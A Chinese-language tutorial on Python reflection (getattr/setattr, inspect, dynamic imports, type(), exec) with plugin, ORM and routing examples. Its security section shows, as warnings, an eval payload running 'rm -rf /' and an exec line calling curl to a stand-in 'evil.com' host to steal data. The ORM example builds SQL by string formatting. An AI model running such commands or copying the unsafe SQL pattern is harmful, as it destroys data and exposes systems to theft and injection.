欢迎光临
我们一直在努力

Python 反射完整学习笔记

Python 反射完整学习笔记


目录

  • 什么是反射(Reflection)
  • 为什么需要反射
  • 核心函数与用法
  • 对象属性访问机制
  • 高级反射技术
  • 实战应用案例
  • 性能与安全
  • 常见误区与对比
  • 扩展阅读

  • 1. 什么是反射(Reflection)

    1.1 定义与核心概念

    反射(Reflection) 是指程序在运行时能够:

    • 检查(inspect)对象的类型、属性、方法
    • 访问(access)对象的属性和方法
    • 修改(modify)对象的属性和方法
    • 调用(invoke)对象的方法

    简单来说:反射 = 运行时的动态操作能力

    1.2 Python 中反射的特点

    Python 是一门动态类型语言,天然支持反射:

    特性说明
    动态类型 变量类型在运行时确定
    一切皆对象 类、函数、模块都是对象
    内置反射函数 getattr, setattr, hasattr 等
    丰富的元数据 __dict__, __class__, __module__ 等

    1.3 反射 vs 内省

    概念定义示例
    内省(Introspection) 只读取对象信息,不修改 type(), dir(), isinstance()
    反射(Reflection) 读取 + 修改 + 调用 getattr(), setattr(), delattr()

    结论:内省是反射的子集,Python 两者都支持。


    2. 为什么需要反射

    2.1 动态性的价值

    反射使代码更加灵活和可扩展:

    # 静态方式:硬编码
    if action == "create":
    obj.create()
    elif action == "update":
    obj.update()
    elif action == "delete":
    obj.delete()

    # 反射方式:动态调用
    method = getattr(obj, action) # 根据字符串获取方法
    method() # 调用方法

    优势:

    • 减少 if-else 分支
    • 易于扩展新功能(无需修改代码)
    • 适合插件化架构

    2.2 典型应用场景

    场景说明示例
    框架开发 自动路由、ORM 映射 Django, Flask, SQLAlchemy
    插件系统 动态加载第三方模块 Pytest 插件机制
    序列化 对象 ↔ JSON/XML/DB json.dumps(), Pickle
    配置驱动 根据配置文件动态创建对象 工厂模式
    测试框架 自动发现测试用例 unittest, pytest
    调试工具 运行时查看对象状态 pdb, ipdb

    3. 核心函数与用法

    3.1 getattr() – 获取属性/方法

    语法:

    getattr(object, name[, default])

    功能:

    • 根据字符串名称获取对象的属性或方法
    • 若属性不存在,返回 default(若未提供则抛出 AttributeError)

    示例:

    class Person:
    def __init__(self, name, age):
    self.name = name
    self.age = age

    def greet(self):
    return f"Hello, I'm {self.name}"

    p = Person("Alice", 30)

    # 获取属性
    name = getattr(p, "name") # "Alice"
    salary = getattr(p, "salary", 0) # 不存在,返回默认值 0

    # 获取方法
    greet_func = getattr(p, "greet")
    print(greet_func()) # "Hello, I'm Alice"

    # 动态调用
    attr_name = input("输入属性名: ") # 用户输入 "age"
    value = getattr(p, attr_name, None)
    print(value) # 30

    等价写法:

    # getattr(obj, "name") 等价于
    obj.name # 静态访问
    obj.__dict__["name"] # 字典访问


    3.2 setattr() – 设置属性

    语法:

    setattr(object, name, value)

    功能:

    • 动态设置对象的属性值
    • 若属性不存在,则创建新属性

    示例:

    class Config:
    pass

    config = Config()

    # 动态设置属性
    setattr(config, "host", "localhost")
    setattr(config, "port", 8080)

    print(config.host) # "localhost"
    print(config.port) # 8080

    # 批量设置
    settings = {"debug": True, "timeout": 30}
    for key, value in settings.items():
    setattr(config, key, value)

    print(config.debug) # True

    等价写法:

    # setattr(obj, "name", value) 等价于
    obj.name = value
    obj.__dict__["name"] = value


    3.3 hasattr() – 检查属性是否存在

    语法:

    hasattr(object, name)

    功能:

    • 判断对象是否有某个属性/方法
    • 返回 True 或 False

    示例:

    class Dog:
    def __init__(self, name):
    self.name = name

    def bark(self):
    return "Woof!"

    dog = Dog("Buddy")

    print(hasattr(dog, "name")) # True
    print(hasattr(dog, "age")) # False
    print(hasattr(dog, "bark")) # True

    # 安全的属性访问
    if hasattr(dog, "age"):
    print(dog.age)
    else:
    print("Dog has no age attribute")

    内部实现:

    # hasattr 等价于
    try:
    getattr(obj, name)
    return True
    except AttributeError:
    return False


    3.4 delattr() – 删除属性

    语法:

    delattr(object, name)

    功能:

    • 删除对象的属性
    • 若属性不存在,抛出 AttributeError

    示例:

    class User:
    def __init__(self, username, password):
    self.username = username
    self.password = password

    user = User("admin", "secret123")

    # 删除敏感属性
    delattr(user, "password")

    print(hasattr(user, "password")) # False

    # 等价写法
    del user.username


    3.5 dir() – 列出所有属性和方法

    语法:

    dir([object])

    功能:

    • 返回对象的所有属性和方法的名称列表
    • 包括继承的属性和魔法方法

    示例:

    class MyClass:
    class_var = "I'm a class variable"

    def __init__(self):
    self.instance_var = "I'm an instance variable"

    def my_method(self):
    pass

    obj = MyClass()

    # 查看所有属性和方法
    print(dir(obj))
    # ['__class__', '__delattr__', '__dict__', …, 'class_var', 'instance_var', 'my_method']

    # 过滤出用户定义的属性
    user_attrs = [attr for attr in dir(obj) if not attr.startswith("__")]
    print(user_attrs) # ['class_var', 'instance_var', 'my_method']


    3.6 vars() – 返回对象的 __dict__

    语法:

    vars([object])

    功能:

    • 返回对象的 __dict__ 属性(属性字典)
    • 不包括方法和类属性(仅实例属性)

    示例:

    class Book:
    category = "fiction" # 类属性

    def __init__(self, title, author):
    self.title = title
    self.author = author

    book = Book("1984", "Orwell")

    print(vars(book)) # {'title': '1984', 'author': 'Orwell'}
    print(book.__dict__) # 等价

    # 修改属性
    vars(book)["price"] = 19.99
    print(book.price) # 19.99

    注意:

    • vars() 只返回实例属性
    • 类属性需要通过 vars(MyClass) 或 MyClass.__dict__ 获取

    3.7 其他常用函数

    函数功能示例
    type(obj) 获取对象的类型 type(123) → <class 'int'>
    isinstance(obj, class) 判断对象是否是某类的实例 isinstance([], list) → True
    callable(obj) 判断对象是否可调用 callable(print) → True
    id(obj) 获取对象的内存地址 id("hello")

    综合示例:

    def process_object(obj):
    print(f"类型: {type(obj)}")
    print(f"ID: {id(obj)}")
    print(f"是否可调用: {callable(obj)}")
    print(f"属性列表: {[a for a in dir(obj) if not a.startswith('_')]}")

    process_object(lambda x: x * 2)
    # 类型: <class 'function'>
    # 是否可调用: True
    # 属性列表: ['__annotations__', '__call__', …]


    4. 对象属性访问机制

    4.1 __dict__ 属性字典

    核心概念:

    • Python 对象的属性存储在 __dict__ 字典中
    • 键是属性名(字符串),值是属性值

    示例:

    class Point:
    def __init__(self, x, y):
    self.x = x
    self.y = y

    p = Point(10, 20)

    print(p.__dict__) # {'x': 10, 'y': 20}

    # 直接修改 __dict__
    p.__dict__["z"] = 30
    print(p.z) # 30

    # 动态添加属性
    p.color = "red"
    print(p.__dict__) # {'x': 10, 'y': 20, 'z': 30, 'color': 'red'}

    类属性 vs 实例属性:

    class Counter:
    count = 0 # 类属性

    def __init__(self, name):
    self.name = name # 实例属性

    c1 = Counter("A")
    c2 = Counter("B")

    print(c1.__dict__) # {'name': 'A'}
    print(Counter.__dict__["count"]) # 0

    # 修改类属性
    Counter.count = 10
    print(c1.count) # 10(通过继承访问)
    print(c2.count) # 10


    4.2 __slots__ 限制属性

    问题:__dict__ 占用内存,对于大量实例不友好

    解决方案:使用 __slots__ 预定义属性

    示例:

    class Point2D:
    __slots__ = ["x", "y"] # 只允许这两个属性

    def __init__(self, x, y):
    self.x = x
    self.y = y

    p = Point2D(5, 10)

    # 无法动态添加新属性
    try:
    p.z = 15
    except AttributeError as e:
    print(e) # 'Point2D' object has no attribute 'z'

    # 没有 __dict__
    print(hasattr(p, "__dict__")) # False

    对比:

    特性__dict____slots__
    内存占用 较大(每个实例一个字典) 较小(固定大小)
    动态属性 支持 不支持
    访问速度 稍慢 稍快
    适用场景 灵活的对象 大量相同结构的实例

    4.3 属性查找顺序(MRO)

    查找流程:

  • 实例的 __dict__
  • 类的 __dict__
  • 父类的 __dict__(按 MRO 顺序)
  • 抛出 AttributeError
  • 示例:

    class Animal:
    species = "Unknown"

    class Dog(Animal):
    species = "Canine"

    dog = Dog()
    dog.species = "My Dog"

    print(dog.species) # "My Dog"(实例属性优先)
    del dog.species
    print(dog.species) # "Canine"(类属性)
    Dog.species = "Deleted"
    print(dog.species) # "Deleted"

    查看 MRO:

    print(Dog.__mro__)
    # (<class '__main__.Dog'>, <class '__main__.Animal'>, <class 'object'>)


    5. 高级反射技术

    5.1 inspect 模块深入

    inspect 模块提供了更强大的反射功能:

    5.1.1 检查函数签名

    import inspect

    def greet(name: str, age: int = 18, *, city: str = "Beijing") –> str:
    return f"{name}, {age}, from {city}"

    # 获取签名
    sig = inspect.signature(greet)
    print(sig) # (name: str, age: int = 18, *, city: str = 'Beijing') -> str

    # 获取参数信息
    for param_name, param in sig.parameters.items():
    print(f"{param_name}: {param.annotation}, 默认值={param.default}")
    # name: <class 'str'>, 默认值=<class 'inspect._empty'>
    # age: <class 'int'>, 默认值=18
    # city: <class 'str'>, 默认值=Beijing

    5.1.2 检查类和对象

    import inspect

    class MyClass:
    def method(self):
    pass

    # 判断是否是类
    print(inspect.isclass(MyClass)) # True

    # 判断是否是函数
    print(inspect.isfunction(MyClass.method)) # True

    # 判断是否是方法
    obj = MyClass()
    print(inspect.ismethod(obj.method)) # True

    # 获取类的所有成员
    members = inspect.getmembers(MyClass)
    for name, value in members:
    if not name.startswith("_"):
    print(f"{name}: {value}")

    5.1.3 获取源代码

    import inspect

    def fibonacci(n):
    """计算斐波那契数列"""
    if n <= 1:
    return n
    return fibonacci(n–1) + fibonacci(n–2)

    # 获取函数源代码
    source = inspect.getsource(fibonacci)
    print(source)

    # 获取文档字符串
    doc = inspect.getdoc(fibonacci)
    print(doc) # "计算斐波那契数列"


    5.2 动态导入模块

    方式一:使用 __import__()

    # 传统方式
    import math

    # 动态导入
    module_name = "math"
    math_module = __import__(module_name)
    print(math_module.pi) # 3.141592653589793

    方式二:使用 importlib(推荐)

    import importlib

    # 动态导入模块
    module_name = "json"
    json_module = importlib.import_module(module_name)

    data = json_module.dumps({"key": "value"})
    print(data) # '{"key": "value"}'

    # 重新加载模块(开发中调试用)
    importlib.reload(json_module)

    实战:插件系统

    import importlib
    import os

    def load_plugins(plugin_dir):
    """动态加载插件目录下的所有插件"""
    plugins = []
    for filename in os.listdir(plugin_dir):
    if filename.endswith(".py") and not filename.startswith("_"):
    module_name = filename[:–3] # 去掉 .py
    module = importlib.import_module(f"plugins.{module_name}")
    plugins.append(module)
    return plugins

    # 使用
    # plugins = load_plugins("./plugins")
    # for plugin in plugins:
    # plugin.run()


    5.3 动态创建类和函数

    5.3.1 使用 type() 创建类

    基础语法:

    # 正常定义类
    class MyClass:
    x = 10

    # 使用 type() 动态创建
    MyClass2 = type("MyClass2", (object,), {"x": 10})

    print(MyClass2.x) # 10

    完整示例:

    # 定义方法
    def greet(self):
    return f"Hello from {self.name}"

    def __init__(self, name):
    self.name = name

    # 动态创建类
    Person = type(
    "Person", # 类名
    (object,), # 父类元组
    { # 类属性和方法
    "__init__": __init__,
    "greet": greet,
    "species": "Human"
    }
    )

    # 使用动态创建的类
    p = Person("Alice")
    print(p.greet()) # "Hello from Alice"
    print(p.species) # "Human"

    5.3.2 使用 types.FunctionType 创建函数

    import types

    # 创建函数
    code = compile("return x + y", "<string>", "eval")
    add_func = types.FunctionType(code, globals(), "add", (0, 0))

    print(add_func(5, 3)) # 8

    5.3.3 使用 exec() 动态执行代码

    # 动态定义类
    class_code = """
    class Calculator:
    def add(self, a, b):
    return a + b

    def multiply(self, a, b):
    return a * b
    """

    namespace = {}
    exec(class_code, namespace)

    Calculator = namespace["Calculator"]
    calc = Calculator()
    print(calc.add(10, 5)) # 15

    ⚠️ 安全警告:

    • exec() 和 eval() 执行任意代码,存在安全风险
    • 永远不要对用户输入使用 exec() 或 eval()

    6. 实战应用案例

    6.1 插件系统

    需求:根据配置文件动态加载不同的数据处理器

    # plugins/csv_processor.py
    class CsvProcessor:
    def process(self, data):
    return f"Processing CSV: {data}"

    # plugins/json_processor.py
    class JsonProcessor:
    def process(self, data):
    return f"Processing JSON: {data}"

    # main.py
    import importlib

    def load_processor(processor_name):
    """动态加载处理器"""
    module = importlib.import_module(f"plugins.{processor_name.lower()}_processor")
    class_name = f"{processor_name.capitalize()}Processor"
    return getattr(module, class_name)

    # 使用
    config = {"processor": "json"} # 从配置文件读取
    ProcessorClass = load_processor(config["processor"])
    processor = ProcessorClass()
    print(processor.process("sample data"))
    # "Processing JSON: sample data"


    6.2 ORM 框架原理(简化版)

    需求:将对象属性映射到数据库字段

    class Model:
    """简易 ORM 基类"""

    def save(self):
    """将对象保存到数据库(伪代码)"""
    table_name = self.__class__.__name__.lower()
    fields = []
    values = []

    # 反射获取所有属性
    for attr, value in vars(self).items():
    if not attr.startswith("_"):
    fields.append(attr)
    values.append(repr(value))

    sql = f"INSERT INTO {table_name} ({', '.join(fields)}) VALUES ({', '.join(values)})"
    print(f"执行 SQL: {sql}")
    return sql

    class User(Model):
    def __init__(self, username, email):
    self.username = username
    self.email = email

    # 使用
    user = User("alice", "alice@example.com")
    user.save()
    # 执行 SQL: INSERT INTO user (username, email) VALUES ('alice', 'alice@example.com')


    6.3 序列化/反序列化

    需求:将对象转换为 JSON

    import json

    class Student:
    def __init__(self, name, age, grade):
    self.name = name
    self.age = age
    self.grade = grade

    def to_dict(self):
    """使用反射将对象转为字典"""
    return {k: v for k, v in vars(self).items() if not k.startswith("_")}

    @classmethod
    def from_dict(cls, data):
    """从字典创建对象"""
    return cls(**data)

    # 序列化
    student = Student("Bob", 15, "A")
    json_str = json.dumps(student.to_dict())
    print(json_str) # '{"name": "Bob", "age": 15, "grade": "A"}'

    # 反序列化
    data = json.loads(json_str)
    new_student = Student.from_dict(data)
    print(new_student.name) # "Bob"


    6.4 动态路由(Web 框架)

    需求:根据 URL 自动调用对应的处理函数

    class Router:
    def __init__(self):
    self.routes = {}

    def route(self, path):
    """装饰器:注册路由"""
    def decorator(func):
    self.routes[path] = func
    return func
    return decorator

    def dispatch(self, path, *args, **kwargs):
    """根据路径调用对应函数"""
    if path in self.routes:
    handler = self.routes[path]
    return handler(*args, **kwargs)
    else:
    return "404 Not Found"

    # 使用
    router = Router()

    @router.route("/home")
    def home():
    return "Welcome to Home Page"

    @router.route("/about")
    def about():
    return "About Us"

    # 动态调用
    print(router.dispatch("/home")) # "Welcome to Home Page"
    print(router.dispatch("/about")) # "About Us"
    print(router.dispatch("/404")) # "404 Not Found"


    7. 性能与安全

    7.1 反射的性能开销

    实验对比:

    import timeit

    class MyClass:
    def __init__(self):
    self.value = 42

    def get_value(self):
    return self.value

    obj = MyClass()

    # 直接访问
    def direct_access():
    return obj.value

    # 反射访问
    def reflection_access():
    return getattr(obj, "value")

    # 性能测试
    direct_time = timeit.timeit(direct_access, number=1000000)
    reflection_time = timeit.timeit(reflection_access, number=1000000)

    print(f"直接访问: {direct_time:.4f}s")
    print(f"反射访问: {reflection_time:.4f}s")
    print(f"反射慢了: {reflection_time / direct_time:.2f}x")

    # 典型结果:反射慢 2-3 倍

    结论:

    • 反射比直接访问慢 2-5 倍
    • 对于高频调用,考虑缓存或优化
    • 对于配置加载、插件系统等低频场景,性能影响可忽略

    7.2 安全隐患

    ⚠️ 危险函数:eval() 和 exec()

    问题:可执行任意 Python 代码

    # 危险示例(永远不要这样做)
    user_input = "__import__('os').system('rm -rf /')" # 恶意代码
    eval(user_input) # 💀 系统被删除

    # 攻击示例
    user_input = "__import__('subprocess').call(['curl', 'evil.com/steal_data'])"
    exec(user_input) # 💀 数据泄露

    安全替代方案:

    import ast

    # 方案 1: 使用 ast.literal_eval(仅支持字面量)
    safe_data = ast.literal_eval("{'key': 'value', 'number': 123}")
    print(safe_data) # {'key': 'value', 'number': 123}

    # 方案 2: 限制命名空间
    safe_namespace = {"__builtins__": {}}
    eval("1 + 1", safe_namespace) # 安全
    # eval("open('/etc/passwd')", safe_namespace) # 报错

    # 方案 3: 使用白名单
    allowed_attrs = {"add", "subtract", "multiply"}
    attr = "add"
    if attr in allowed_attrs:
    method = getattr(calculator, attr)


    7.3 最佳实践

    原则说明示例
    最小权限 只暴露必要的属性和方法 使用 __slots__ 或属性验证
    白名单 明确允许的操作,而非黑名单 if attr in ALLOWED: …
    输入验证 永远不要信任用户输入 检查类型、长度、格式
    避免 eval/exec 使用 ast.literal_eval 或解析库 JSON: json.loads()
    日志审计 记录反射操作 logging.info(f"Accessed {attr}")

    安全的动态调用模式:

    class SafeAPI:
    ALLOWED_METHODS = {"get_data", "save_data"}

    def get_data(self):
    return "data"

    def save_data(self, data):
    print(f"Saving: {data}")

    def _internal_method(self):
    """内部方法,不应被外部调用"""
    pass

    def execute(self, method_name, *args, **kwargs):
    """安全的动态调用"""
    # 1. 检查白名单
    if method_name not in self.ALLOWED_METHODS:
    raise ValueError(f"Method {method_name} not allowed")

    # 2. 检查方法是否存在
    if not hasattr(self, method_name):
    raise AttributeError(f"Method {method_name} not found")

    # 3. 获取并调用
    method = getattr(self, method_name)
    return method(*args, **kwargs)

    # 使用
    api = SafeAPI()
    api.execute("get_data") # ✅ 安全
    # api.execute("_internal_method") # ❌ 抛出异常


    8. 常见误区与对比

    8.1 反射 vs 硬编码

    场景推荐方式原因
    固定的少量选项 硬编码(if-else) 性能更好,代码更清晰
    大量可扩展的选项 反射 易于维护,可扩展
    用户输入驱动 反射(带验证) 灵活,但需安全措施
    性能关键路径 硬编码 避免反射开销

    错误示例:

    # ❌ 过度使用反射
    def process(action):
    return getattr(self, action)() # 危险!

    # ✅ 合理的反射
    ACTIONS = {"create", "update", "delete"}
    def process(action):
    if action not in ACTIONS:
    raise ValueError("Invalid action")
    return getattr(self, action)()


    8.2 何时不应使用反射

    情况原因替代方案
    性能敏感 反射慢 2-5 倍 直接访问或缓存
    固定逻辑 增加复杂度 硬编码
    类型安全 运行时错误 静态类型检查(Type Hints)
    安全关键 易被攻击 白名单 + 验证

    8.3 反射与其他语言对比

    语言反射支持特点
    Python ✅ 原生支持 动态类型,简单易用
    Java ✅ java.lang.reflect 强类型,API 复杂
    C++ ❌ 无原生支持 可通过 RTTI 部分实现
    Go ✅ reflect 包 性能较好,语法复杂
    JavaScript ✅ 原生支持 动态类型,与 Python 类似

    9. 扩展阅读

    9.1 相关主题

    • 装饰器(Decorator):使用反射实现的语法糖
    • 元类(Metaclass):类的类,更深层的反射
    • 描述符(Descriptor):@property 的底层机制
    • 上下文管理器(Context Manager):with 语句的反射应用

    9.2 进阶学习资源

    • 官方文档:Python Data Model
    • 书籍:《Fluent Python》第五章 – 数据模型
    • PEP:
      • PEP 252: Making Types Look More Like Classes
      • PEP 3115: Metaclasses in Python 3

    9.3 实战项目

    • Django ORM:研究其反射机制
    • Flask 路由:分析装饰器和反射的结合
    • Pytest:学习其插件发现机制

    总结

    核心要点

  • 反射是什么:运行时检查、访问、修改对象的能力
  • 核心函数:getattr, setattr, hasattr, delattr, dir, vars
  • 高级工具:inspect 模块、动态导入、type() 创建类
  • 应用场景:插件系统、ORM、序列化、动态路由
  • 注意事项:性能开销、安全风险、避免滥用
  • 学习检查清单

    • 理解反射与内省的区别
    • 熟练使用 getattr/setattr/hasattr/delattr
    • 了解 __dict__ 和 __slots__ 的差异
    • 掌握 inspect 模块的常用功能
    • 能够实现简单的插件系统
    • 理解反射的性能和安全问题
    • 知道何时使用/不使用反射

    实践建议

  • 小项目练习:实现一个配置驱动的任务调度器
  • 阅读源码:研究 Django、Flask 的反射使用
  • 性能测试:对比反射与直接访问的性能差异
  • 安全审计:检查项目中是否存在 eval/exec 的滥用

  • 附录:快速参考表

    常用反射函数速查

    # 获取属性
    getattr(obj, "attr", default)

    # 设置属性
    setattr(obj, "attr", value)

    # 检查属性
    hasattr(obj, "attr")

    # 删除属性
    delattr(obj, "attr")

    # 列出所有属性
    dir(obj)

    # 获取属性字典
    vars(obj) # 等价于 obj.__dict__

    # 动态导入
    import importlib
    module = importlib.import_module("module_name")

    # 动态创建类
    MyClass = type("MyClass", (BaseClass,), {"attr": value})

    # 获取函数签名
    import inspect
    inspect.signature(func)

    安全检查模板

    def safe_call(obj, method_name, *args, **kwargs):
    """安全的动态方法调用"""
    # 1. 白名单检查
    if method_name not in ALLOWED_METHODS:
    raise ValueError(f"Method {method_name} not allowed")

    # 2. 存在性检查
    if not hasattr(obj, method_name):
    raise AttributeError(f"Method {method_name} not found")

    # 3. 可调用性检查
    method = getattr(obj, method_name)
    if not callable(method):
    raise TypeError(f"{method_name} is not callable")

    # 4. 执行
    return method(*args, **kwargs)

    赞(0)
    未经允许不得转载:171主机测评 » Python 反射完整学习笔记
    分享到: 更多 (0)

    评论 抢沙发

    • 昵称 (必填)
    • 邮箱 (必填)
    • 网址